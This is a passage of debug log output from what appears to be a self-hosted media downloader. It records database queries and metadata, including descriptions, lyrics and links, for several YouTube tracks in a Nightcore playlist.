1, ~U[2011-07-10 22:38:52Z]] 22:22:17.513 [debug] QUERY OK source="sources" db=0.1ms idle=180.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:17.513 [debug] QUERY OK source="media_profiles" db=0.1ms idle=180.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:17.514 [debug] QUERY OK source="media_items" db=0.2ms idle=180.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [17] 22:22:17.514 [debug] Current batch of media processed. Will check again in 1000ms 22:22:18.515 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Heres Nightcore With the song Dam Dadi Do+Lycris\r\n\r\nDam dadi doo dam dam didoodi dam (4x)\r\n\r\nWhen the morning come come\r\nI'm dancing like you're dumb dumb\r\nAnd when the groove is high\r\nwhen dummies jump to sky\r\n\r\nif you feel the groove groove\r\nthe dummies have to move move\r\ncan you feel the beat the beat the beat\r\n\r\nYou never tell me what is wrong \r\n'cause now it's time to be alone\r\nlet me love you everyday \r\nso long you let the dummies play\r\n\r\ndance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (4x)\r\n\r\nDance dance to the beat\r\n\r\nThey tell me let's come home home\r\nThe party going on on\r\nWe only have to dance\r\nDo dummies fall the trance\r\n\r\nIf you feel the groove groove\r\nThe dummies have to move move\r\nCan you feel the beat the beat the beat\r\n\r\nYou never tell me whatis wrong\r\n'cause now it's time to be alone\r\nLet me love you everyday\r\nSo long you let the dummies play\r\n\r\nDance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (8x)\r\n\r\nNever tell me what is wrong\r\nLet me love you everyday\r\n\r\nDam dadi doo dam dam didoodidam (4x)", "duration" => 165, "filename" => "/downloads/Nightcore/Nightcore/2009-07-07Nightcore - Dam Dadi Do[6SCQyBcHeDg].m4a", "id" => "6SCQyBcHeDg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=6SCQyBcHeDg", "playlist_index" => 18, "timestamp" => 1246996924, "title" => "Nightcore - Dam Dadi Do", "upload_date" => "20090707"} 22:22:18.516 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:18.517 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:18.518 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2009-07-07 20:02:04Z], 1] 22:22:18.865 [debug] QUERY OK source="media_items" db=345.8ms idle=1004.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Heres Nightcore With the song Dam Dadi Do+Lycris\r\n\r\nDam dadi doo dam dam didoodi dam (4x)\r\n\r\nWhen the morning come come\r\nI'm dancing like you're dumb dumb\r\nAnd when the groove is high\r\nwhen dummies jump to sky\r\n\r\nif you feel the groove groove\r\nthe dummies have to move move\r\ncan you feel the beat the beat the beat\r\n\r\nYou never tell me what is wrong \r\n'cause now it's time to be alone\r\nlet me love you everyday \r\nso long you let the dummies play\r\n\r\ndance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (4x)\r\n\r\nDance dance to the beat\r\n\r\nThey tell me let's come home home\r\nThe party going on on\r\nWe only have to dance\r\nDo dummies fall the trance\r\n\r\nIf you feel the groove groove\r\nThe dummies have to move move\r\nCan you feel the beat the beat the beat\r\n\r\nYou never tell me whatis wrong\r\n'cause now it's time to be alone\r\nLet me love you everyday\r\nSo long you let the dummies play\r\n\r\nDance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (8x)\r\n\r\nNever tell me what is wrong\r\nLet me love you everyday\r\n\r\nDam dadi doo dam dam didoodidam (4x)", "Nightcore - Dam Dadi Do", "cf12ebfa-f175-4dea-8b12-fa9fe5acbd13", false, "6SCQyBcHeDg", 165, false, "https://www.youtube.com/watch?v=6SCQyBcHeDg", 18, "/downloads/Nightcore/Nightcore/2009-07-07Nightcore - Dam Dadi Do[6SCQyBcHeDg].m4a", false, false, 1, [], 1, ~U[2009-07-07 20:02:04Z], ~U[2026-07-24 02:22:18Z], ~U[2026-07-24 02:22:18Z], "Heres Nightcore With the song Dam Dadi Do+Lycris\r\n\r\nDam dadi doo dam dam didoodi dam (4x)\r\n\r\nWhen the morning come come\r\nI'm dancing like you're dumb dumb\r\nAnd when the groove is high\r\nwhen dummies jump to sky\r\n\r\nif you feel the groove groove\r\nthe dummies have to move move\r\ncan you feel the beat the beat the beat\r\n\r\nYou never tell me what is wrong \r\n'cause now it's time to be alone\r\nlet me love you everyday \r\nso long you let the dummies play\r\n\r\ndance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (4x)\r\n\r\nDance dance to the beat\r\n\r\nThey tell me let's come home home\r\nThe party going on on\r\nWe only have to dance\r\nDo dummies fall the trance\r\n\r\nIf you feel the groove groove\r\nThe dummies have to move move\r\nCan you feel the beat the beat the beat\r\n\r\nYou never tell me whatis wrong\r\n'cause now it's time to be alone\r\nLet me love you everyday\r\nSo long you let the dummies play\r\n\r\nDance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (8x)\r\n\r\nNever tell me what is wrong\r\nLet me love you everyday\r\n\r\nDam dadi doo dam dam didoodidam (4x)", "Nightcore - Dam Dadi Do", "6SCQyBcHeDg", 165, false, "https://www.youtube.com/watch?v=6SCQyBcHeDg", "/downloads/Nightcore/Nightcore/2009-07-07Nightcore - Dam Dadi Do[6SCQyBcHeDg].m4a", false, 1, ~U[2009-07-07 20:02:04Z]] 22:22:18.865 [debug] QUERY OK source="sources" db=0.1ms idle=531.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:18.866 [debug] QUERY OK source="media_profiles" db=0.1ms idle=349.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:18.866 [debug] QUERY OK source="media_items" db=0.1ms idle=348.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18] 22:22:18.866 [debug] Current batch of media processed. Will check again in 1000ms 22:22:19.867 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "「ポケモン feat. 初音ミク VOLTAGE Live!」\n\nhttps://www.project-voltage.jp/live2026/\n2026/3/20(金・祝)〜22(日) LaLa arena TOKYO-BAY\n\nKanariaです。\n\nMusic / Kanaria\nLyrics / Kanaria / Project VOLTAGE\n・https://x.com/Kanaria390\n\nIllustration / LAM\n・https://x.com/ramdayo1122\n \n配信 https://karent.jp/album/4267\n\noffvocal https://www.project-voltage.jp/music.html#mv20\n\nポケモン feat. 初音ミク Project VOLTAGE 18 Types/Songs\n\nhttps://www.project-voltage.jp/\nhttps://x.com/PokeMikuVOLTAGE\n\n©2024 Pokémon. ©1995-2024 Nintendo/Creatures Inc./GAME FREAK inc.\n©Crypton Future Media, INC.\n\n#kanaria #チャンピオン #ポケミク", "duration" => 137, "filename" => "/downloads/Nightcore/Nightcore/2024-07-19【初音ミク】チャンピオン【Kanaria】[VxjledMkwyk].m4a", "id" => "VxjledMkwyk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VxjledMkwyk", "playlist_index" => 19, "timestamp" => 1721381406, "title" => "【初音ミク】チャンピオン【Kanaria】", "upload_date" => "20240719"} 22:22:19.868 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:19.868 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:19.869 [debug] QUERY OK source="media_items" db=0.4ms idle=1002.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-19 09:30:06Z], 1] 22:22:20.017 [debug] QUERY OK source="media_items" db=147.5ms idle=1003.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["「ポケモン feat. 初音ミク VOLTAGE Live!」\n\nhttps://www.project-voltage.jp/live2026/\n2026/3/20(金・祝)〜22(日) LaLa arena TOKYO-BAY\n\nKanariaです。\n\nMusic / Kanaria\nLyrics / Kanaria / Project VOLTAGE\n・https://x.com/Kanaria390\n\nIllustration / LAM\n・https://x.com/ramdayo1122\n \n配信 https://karent.jp/album/4267\n\noffvocal https://www.project-voltage.jp/music.html#mv20\n\nポケモン feat. 初音ミク Project VOLTAGE 18 Types/Songs\n\nhttps://www.project-voltage.jp/\nhttps://x.com/PokeMikuVOLTAGE\n\n©2024 Pokémon. ©1995-2024 Nintendo/Creatures Inc./GAME FREAK inc.\n©Crypton Future Media, INC.\n\n#kanaria #チャンピオン #ポケミク", "【初音ミク】チャンピオン【Kanaria】", "025800a7-95ce-4be3-a354-f454c8a7d01c", false, "VxjledMkwyk", 137, false, "https://www.youtube.com/watch?v=VxjledMkwyk", 19, "/downloads/Nightcore/Nightcore/2024-07-19【初音ミク】チャンピオン【Kanaria】[VxjledMkwyk].m4a", false, false, 1, [], 1, ~U[2024-07-19 09:30:06Z], ~U[2026-07-24 02:22:19Z], ~U[2026-07-24 02:22:19Z], "「ポケモン feat. 初音ミク VOLTAGE Live!」\n\nhttps://www.project-voltage.jp/live2026/\n2026/3/20(金・祝)〜22(日) LaLa arena TOKYO-BAY\n\nKanariaです。\n\nMusic / Kanaria\nLyrics / Kanaria / Project VOLTAGE\n・https://x.com/Kanaria390\n\nIllustration / LAM\n・https://x.com/ramdayo1122\n \n配信 https://karent.jp/album/4267\n\noffvocal https://www.project-voltage.jp/music.html#mv20\n\nポケモン feat. 初音ミク Project VOLTAGE 18 Types/Songs\n\nhttps://www.project-voltage.jp/\nhttps://x.com/PokeMikuVOLTAGE\n\n©2024 Pokémon. ©1995-2024 Nintendo/Creatures Inc./GAME FREAK inc.\n©Crypton Future Media, INC.\n\n#kanaria #チャンピオン #ポケミク", "【初音ミク】チャンピオン【Kanaria】", "VxjledMkwyk", 137, false, "https://www.youtube.com/watch?v=VxjledMkwyk", "/downloads/Nightcore/Nightcore/2024-07-19【初音ミク】チャンピオン【Kanaria】[VxjledMkwyk].m4a", false, 1, ~U[2024-07-19 09:30:06Z]] 22:22:20.018 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=682.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:20.019 [debug] QUERY OK source="media_profiles" db=0.3ms idle=151.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:20.020 [debug] QUERY OK source="media_items" db=0.3ms idle=151.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [19] 22:22:20.020 [debug] Current batch of media processed. Will check again in 1000ms 22:22:21.020 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h?si=hxmAc9hoRIWwnLAxl9bDpg\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "duration" => 308, "filename" => "/downloads/Nightcore/Nightcore/2026-03-27Memories And Reality[1J6hTtr4dYg].m4a", "id" => "1J6hTtr4dYg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1J6hTtr4dYg", "playlist_index" => 20, "timestamp" => 1774623604, "title" => "Memories And Reality", "upload_date" => "20260327"} 22:22:21.021 [debug] QUERY OK source="sources" db=0.2ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:21.021 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:21.022 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-27 15:00:04Z], 1] 22:22:21.244 [debug] QUERY OK source="media_items" db=222.3ms idle=1001.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h?si=hxmAc9hoRIWwnLAxl9bDpg\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "Memories And Reality", "73489ad1-c9a1-4afe-82d5-d5bfe05cfb22", false, "1J6hTtr4dYg", 308, false, "https://www.youtube.com/watch?v=1J6hTtr4dYg", 20, "/downloads/Nightcore/Nightcore/2026-03-27Memories And Reality[1J6hTtr4dYg].m4a", false, false, 1, [], 1, ~U[2026-03-27 15:00:04Z], ~U[2026-07-24 02:22:21Z], ~U[2026-07-24 02:22:21Z], "Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h?si=hxmAc9hoRIWwnLAxl9bDpg\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "Memories And Reality", "1J6hTtr4dYg", 308, false, "https://www.youtube.com/watch?v=1J6hTtr4dYg", "/downloads/Nightcore/Nightcore/2026-03-27Memories And Reality[1J6hTtr4dYg].m4a", false, 1, ~U[2026-03-27 15:00:04Z]] 22:22:21.245 [debug] QUERY OK source="sources" db=0.2ms idle=906.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:21.245 [debug] QUERY OK source="media_profiles" db=0.1ms idle=223.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:21.245 [debug] QUERY OK source="media_items" db=0.1ms idle=223.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [20] 22:22:21.245 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Song by Dcx remixed original avalible at um...forgot anyways here's the credits happy? [insert bad word here] face", "duration" => 177, "filename" => "/downloads/Nightcore/Nightcore/2007-01-07Trance-Flying High[Ool4gyrJpM0].m4a", "id" => "Ool4gyrJpM0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Ool4gyrJpM0", "playlist_index" => 21, "timestamp" => 1168196051, "title" => "Trance-Flying High", "upload_date" => "20070107"} 22:22:21.246 [debug] QUERY OK source="sources" db=0.1ms idle=223.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:21.246 [debug] QUERY OK source="sources" db=0.1ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", 